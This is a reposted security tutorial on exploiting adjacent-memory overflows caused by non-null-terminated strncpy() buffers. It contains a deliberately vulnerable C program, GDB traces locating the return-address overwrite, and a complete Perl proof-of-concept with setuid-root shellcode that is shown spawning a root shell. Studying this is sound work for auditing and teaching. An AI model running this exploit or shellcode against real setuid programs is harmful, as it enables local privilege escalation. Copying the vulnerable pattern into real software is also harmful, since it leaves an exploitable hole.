[转载]Exploring Adjacent Memory Against strncpy
信息来源:[url]www.securiteam.com[/url]Summary
Advance methods of exploitation that take advantage of vulnerable functions like strncpy() are not as well documented as basic stack overflows. The exploitation of adjacent memory overflows is one of these poorly documented methods.
Adjacent memory overflows normally occur by cause of a bad programming style strncpy(), however this is not the only vulnerable function. This paper will focus on strncpy() as an example.
Credit:
The information has been provided by Carlos Carvalho.
The original article can be found at: [url]http://www.flowsecurity.org/papers_open.php?nid=2[/url]
Details
Requirements for reading this paper:
You must know how basic buffer overflows occur. Further more you must know some Perl, a bit of C and how GDB (GNU debugger) works. If you don't fill these requirements it is suggested you to read papers on each of these topics before reading this paper.
What is adjacent memory and why can it form a security risk:
strncpy() performs bounds checking and seems to be secure when speaking in terms of normal buffer overflows. However if the programmer is careless, it can be exploited with the adjacent memory method.
This occurs when a string is the same size as the limit of the buffer itself thus not being NULL (0x00) terminated:
If: char buffer[256]
If: input string = 256 bytes
Then: no NULL termination at all
Seeing as the buffer is not NULL terminated, we have closed the gap between the memory used by $ARGV[0] and $ARGV[1] (perl's way). However when the buffer is NULL terminated we would not be able to manipulate data.
Exploiting the closed gap between the two buffers is similar to a simple stack overflow. We simply change the return address (%eip) and make it point to our malicious code and we have a shell.
Example Code:
Example of a vulnerable code taken from mercy ([email]mercy@dtors.net[/email])
#include <stdio.h>
int main(int argc, char **argv)
{
char copy_buff[263];
char exploit_string[1024]; /*second buffer $ARGV[1]*/
char vuln_array[256]; /*first buffer $ARGV[0]*/
if(argc <= 2){
printf("%s\n","Use arg1 arg2");
exit(0);
}
strncpy(vuln_array, argv[1], sizeof(vuln_array)); /*vulnerable function where we will write 256 bytes as defined in char vuln_array[256]*/
strncpy(exploit_string, argv[2], sizeof(exploit_string)); /*overflow will take place here*/
sprintf(copy_buff,"MSG: %s\n",vuln_array);
printf("%s\n",copy_buff);
return(0);
}
Note that function:
- strncpy(vuln_array, argv[1], sizeof(vuln_array)) does not require null termination, giving us a window of opportunity.
Using GDB to Exploit the Vulnerability:
Notes:
1) Before we continue Carlos will explain that he removed some parts of the output gdb produced, so that we just use the information we need.
2) On gdb output you may find some comments "#" these are there to clear up things.
Continuing...
In the first example we write 255 bytes to the vuln_array`s buffer, 1 less than the limit of 256 and then we'll debug it, observing what happens to %esp register just after data input, but before one we continue one remark:
- Whenever a buffer is not filled completely with user input, null bytes will be concatenated to the buffer.
Now some gdb output:
---------- GDB BEGIN -----------
[nuTshell@localhost ~]$ gdb -q ./vuln
(gdb) disas main
bla
bla
bla
0x8048471 <main+177>: ret
0x8048472 <main+178>: nop
0x8048473 <main+179>: nop
End of assembler dump.
(gdb) break *0x8048471 # breakpoint at ret.
Breakpoint 1 at 0x8048471
(gdb) r `perl -e 'print "A"x255'` `perl -e 'print "B"x256'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/hash/Programming/Underground_Area/adjacent/vuln
`perl
-e 'print "A"x255'` `perl -e 'print "B"x200'`
MSG:
AAAAAAAAA....A
Breakpoint 1, 0x08048471 in main ()
(gdb) x/200xb $esp-200
bla
bla
bla
0xbffffa74: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffa7c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffa84: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffa8c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffa94: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffa9c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffaa4: 0x41 ->0x00<- 0x42 0x42 0x42 0x42 0x42 0x42
0xbffffaac: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xbffffab4: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
------------- GDB END-------------------
Take a look at 0xbffffaa4, it is clear it is NULL (0x00) terminated by the strncpy(), followed by 0x42, "B" in hexadecimal. It's a good habit to fill buffers with characters as: A, B, C as these can be easily tracked in GDB (resp. 0x41, 0x42, 0x43)
So now what happens if we put 256 bytes in the first buffer? Lets find out:
---------- GDB BEGIN -----------
(gdb) r `perl -e 'print "A"x256'` `perl -e 'print "B"x200'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/hash/Programming/Underground_Area/adjacent/vuln
`perl
-e 'print "A"x256'` `perl -e 'print "B"x200'`
MSG:
A...AAAAAAAAAB...BBBBB
Breakpoint 1, 0x08048471 in main ()
(gdb) x/200xb $esp-200
bla
bla
bla
0xbffff7a4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff7ac: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff7b4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff7bc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff7c4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff7cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff7d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff7dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff7e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff7ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff7f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff7fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff804: 0x41 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xbffff80c: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xbffff814: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
------------ GDB END ----------------
Well well well... do you see any 0x00 between 0x41 and 0x42? The NULL byte gap between $ARGV[0] and $ARGV[1] has been overwritten by our data. The buffer overflow seems to occur at the second buffer, however this is but an illusion,it overflows at the first buffer because there is no null byte any more and processor handles this as one data input, thus: Overflow!
Exploring:
Now that we have created a window of opportunity. Let's explore it!
------------ GDB BEGIN -----------------
[nuTshell@localhost ~]$ gdb -q ./vuln
(gdb) r `perl -e 'print "A"x256'` `perl -e 'print "B"x25'`
Starting program: /home/hash/Programming/Underground_Area/adjacent/vuln
`perl -e 'print "A"x256'` `perl -e 'print "B"x25'`
MSG:
A...AABBBBBBBBBBBBBBBBBBBBBBBBB
Program received signal SIGSEGV, Segmentation fault.
0x000a4242 in ?? ()
(gdb) i r ebp
ebp 0x41414141 0x41414141
------------ GDB END -------------------------
%ebp register has been completely overwritten and %eip was partially overwritten by 2 bytes -> 0x000a4141 .
This way it is easy to discover that if we put 27 bytes in the second buffer the return address will be completely filled up with our malicious address.
In the previous example we used 25 bytes and %eip was overwritten by 2 bytes. (Carlos must note that he has changed his buffer input a couple of times just to get the exact buffer size).
Exploit:
Below is the exploit (Proof of Concept) for our vulnerable code:
#!/usr/bin/perl
#
# Example POC exploiting adjacent memory spaces
# ./vuln `perl -e 'print "A"x256'` `perl -e 'print "B"x23'`
# `perl -e 'print "C"x4'` <- here we overwrite ret!
# *remember what i told you about using A, B, C...?
#
# strncpy() vulnerable function
#
# Author: Carlos Carvalho [email]length@flowsecurity.org[/email]
$shellcode = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80". #setuid0
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
$path = "./vuln";
$shelladdr = 0xbffffffa - length($shellcode) - length($path); #Calculate the memory address of the shellcode.
$ret = pack("l",$shelladdr);
$buffer1 = "\x90"x256; #fill the first buffer with 256 nops.
$buffer2 .= "\x90"x23; #fill the second buffer with 23 nops.
$buffer2 .= $ret; #the last 4 bytes are filled by our $shellcode
address.
local($ENV{"HACK"}) = $shellcode; #"HACK" env receives $shellcode.
printf("Adjacent Memory local overflow by nuTshell\n");
exec("$path $buffer1 $buffer2"); #Execute vuln with first and second
buffers.
Exploit Details:
Note: size of $ARGV[1] may vary from system to system, example:
- Slackware 9.1 2.4.26, gcc version 3.2.3 = $buffer2 .=> "\x90"x23;
- RedHat 8.0 2.4.18-14, gcc 3.2 = $buffer2 .=> "\x90"x23;
- Conectiva 8.0 2.4.18-2cl, gcc 2.95.3 => $buffer2 .= "\x90"x7;
You can test it by using gdb as in the above examples, increasing and decreasing the size of our second argument progressively and checking what happens to the %eip register.
Now lets try to execute our exploit and see what happens. The exploit will gain root as the vulnerable program has been made setuid (chmod +s vuln):
[nuTshell@localhost ~]$ ./adjacent.pl
Adjacent Memory local overflow by nuTshell
MSG:
sh-2.05b# id
uid=0(root) gid=500(nuTshell) groups=500(nuTshell),10(wheel)
sh-2.05b# exit
exit
[nuTshell@localhost~]$
Conclusions:
If you have read this document and you still find the technique very hard it is suggested you read the paper again and again until you completely understand and master the method used.
If you already have had some experience exploiting simple buffer overflows and auditing then maybe you have passed code containing such a flaw while auditing but you failed to see the flaw.
References:
[url]http://www.subterrain.net/overflow-papers/adv.overflow.paper.txt[/url]
[url]http://www.infosecwriters.com/texts.php?op=display&id=140[/url]
[url]http://www.cosc.brocku.ca/~cspress/HelloWorld/1999/04-apr/attack_class.html[/url]
[url]http://www.l0t3k.net/biblio/shellcode/en/Writing_shellcode.html[/url]
[url]http://www.phrack.org/phrack/56/p56-0x0e[/url]
页:
[1]